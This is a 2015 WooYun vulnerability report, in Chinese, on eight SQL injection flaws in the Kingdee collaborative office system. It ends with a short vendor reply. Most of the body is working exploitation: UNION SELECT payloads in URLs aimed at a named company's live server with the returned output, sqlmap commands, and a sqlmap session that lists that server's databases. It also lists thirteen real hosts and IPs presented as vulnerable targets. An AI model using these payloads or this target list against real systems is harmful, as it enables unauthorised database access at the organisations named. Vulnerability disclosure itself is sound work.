当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137234

漏洞标题:金蝶协作办公系统存在八个高危SQL注入(可union)

相关厂商:金蝶

漏洞作者: 路人甲

提交时间:2015-08-31 11:25

修复时间:2015-11-29 11:34

公开时间:2015-11-29 11:34

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-08-31: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向第三方安全合作伙伴开放
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

金蝶协作办公系统存在八个高危SQL注入(可union),影响非常多的大型企业

详细说明:

对于贵公司来说,用户的信息一文不值(...)
存在漏洞的文件为

/kingdee/tree/tree/get_mail_value.jsp?ids=1&flag=dept
/kingdee/tree/tree/get_netcom_lower_selected.jsp?ids=1
/kingdee/tree/tree/get_selected.jsp?ids=1&flag=dept
/kingdee/tree/tree/get_flow.jsp?ids=1&file_type=1
/kingdee/tree/tree/get_flow_class.jsp?file_type=1
/kingdee/tree/tree/get_mail.jsp?node=1
/kingdee/tree/tree/get_nodes.jsp?node=11
/kingdee/tree/tree/get_part.jsp?ids=1


案例非常多,用一个案例来证明漏洞的存在
0x0

/kingdee/tree/tree/get_mail_value.jsp?ids=1&flag=dept
/kingdee/tree/tree/get_netcom_lower_selected.jsp?ids=1
/kingdee/tree/tree/get_selected.jsp?ids=1&flag=dept


上面的三个不能使用UNION,选择一个来证明(sqlmap可直接跑出数据)

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/tree/tree/get_mail_value.jsp?ids=1&flag=dept"

1.png


0x1 /kingdee/tree/tree/get_flow.jsp

http://oa.guanhao.com:8080/kingdee/tree/tree/get_flow.jsp?ids=1&file_type=1)%20union%20select%20NULL,@@version--
[[,'Microsoft SQL Server 2005 - 9.00.4035.00 (X64) Nov 24 2008 16:17:31 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2) '],[1,'发文流程(发文)'],[405,'发文流程(发文)(2014)']]


0x2 /kingdee/tree/tree/get_flow_class.jsp?file_type=1

http://oa.guanhao.com:8080/kingdee/tree/tree/get_flow_class.jsp?file_type=1)%20union%20select%20NULL,@@version--
[{"id":"","text":"Microsoft SQL Server 2005 - 9.00.4035.00 (X64) \n\tNov 24 2008 16:17:31 \n\tCopyright (c) 1988-2005 Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)\n","flow_id":0,"flow_name":"Microsoft SQL Server 2005 - 9.00.4035.00 (X64) \n\tNov 24 2008 16:17:31 \n\tCopyright (c) 1988-2005 Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)\n","leaf":true,"dept":"","class_name":"","node_type":"1"},{"id":"1","text":"发文流程(发文)","flow_id":1,"flow_name":"发文流程(发文)","leaf":true,"dept":"","class_name":"","node_type":"1"},{"id":"405","text":"发文流程(发文)(2014)","flow_id":405,"flow_name":"发文流程(发文)(2014)","leaf":true,"dept":"","class_name":"","node_type":"1"},]


0x3 /kingdee/tree/tree/get_mail.jsp?node=1

http://oa.guanhao.com:8080/kingdee/tree/tree/get_mail.jsp?node=1%20union%20select%20NULL,@@version--
[{"id":"","text":"Microsoft SQL Server 2005 - 9.00.4035.00 (X64) \n\tNov 24 2008 16:17:31 \n\tCopyright (c) 1988-2005 Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)\n","show_id":0,"out_name":"","leaf":false,"dept_name":"Microsoft SQL Server 2005 - 9.00.4035.00 (X64) \n\tNov 24 2008 16:17:31 \n\tCopyright (c) 1988-2005 Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)\n","dept":"","node_type":"0","show_name":""},


0x4 /tree/tree/get_nodes.jsp?node=1

http://oa.guanhao.com:8080/kingdee/tree/tree/get_nodes.jsp?node=11%20union%20select%20NULL,@@version--
[{"id":"","user_name":"","text":"Microsoft SQL Server 2005 - 9.00.4035.00 (X64) \n\tNov 24 2008 16:17:31 \n\tCopyright (c) 1988-2005 Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)\n","login_name":"","user_id":0,"leaf":false,"dept_name":"Microsoft SQL Server 2005 - 9.00.4035.00 (X64) \n\tNov 24 2008 16:17:31 \n\tCopyright (c) 1988-2005 Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)\n","dept":"","node_type":"0"},]


0x5 /kingdee/tree/tree/get_part.jsp?ids=1

http://oa.guanhao.com:8080/kingdee/tree/tree/get_part.jsp?ids=1)%20union%20select%20NULL,@@version--
[[,'Microsoft SQL Server 2005 - 9.00.4035.00 (X64) Nov 24 2008 16:17:31 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2) '],[1,'系统管理']]


存在漏洞的案例:

http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://122.139.60.103:800/kingdee/login/loginpage.jsp
http://oa.guanhao.com:8080/kingdee/login/loginpage.jsp
http://222.179.238.182:8082/kingdee/login/loginpage2.jsp
http://222.134.77.23:8080/kingdee/login/loginpage.jsp
http://221.4.245.218:8080/kingdee/login/loginpage.jsp
http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://220.189.244.202:8080/kingdee/login/loginpage.jsp
http://222.133.44.10:8080/kingdee/login/loginpage.jsp
http://223.95.183.6:8080/kingdee/login/loginpage.jsp
http://61.190.20.51/kingdee/login/loginpage.jsp
http://60.194.110.187/kingdee/login/loginpage.jsp
http://oa.roen.cn/kingdee/login/loginpage.jsp

漏洞证明:

sqlmap跑出的数据

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/tree/tree/get_part.jsp?ids=1" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:37:13
[22:37:14] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ids (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: ids=1) UNION ALL SELECT NULL,CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(72)+CHAR(105)+CHAR(82)+CHAR(83)+CHAR(101)+CHAR(112)+CHAR(83)+CHAR(98)+CHAR(75)+CHAR(90)+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)--
---
[22:37:14] [INFO] testing Microsoft SQL Server
[22:37:14] [INFO] confirming Microsoft SQL Server
[22:37:14] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[22:37:14] [INFO] fetching database names
available databases [6]:
[*] ghcoa
[*] ghtest
[*] master
[*] model
[*] msdb
[*] tempdb
[22:37:14] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\oa.guanhao.com'
[*] shutting down at 22:37:14

修复方案:

不懂

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-31 11:33

厂商回复:

谢谢对金蝶的关注,此产品为合作伙伴产品,我们已通知相关部门为客户修复。已经有很多此系统的上报漏洞,故rank给的低,请理解。

最新状态:

暂无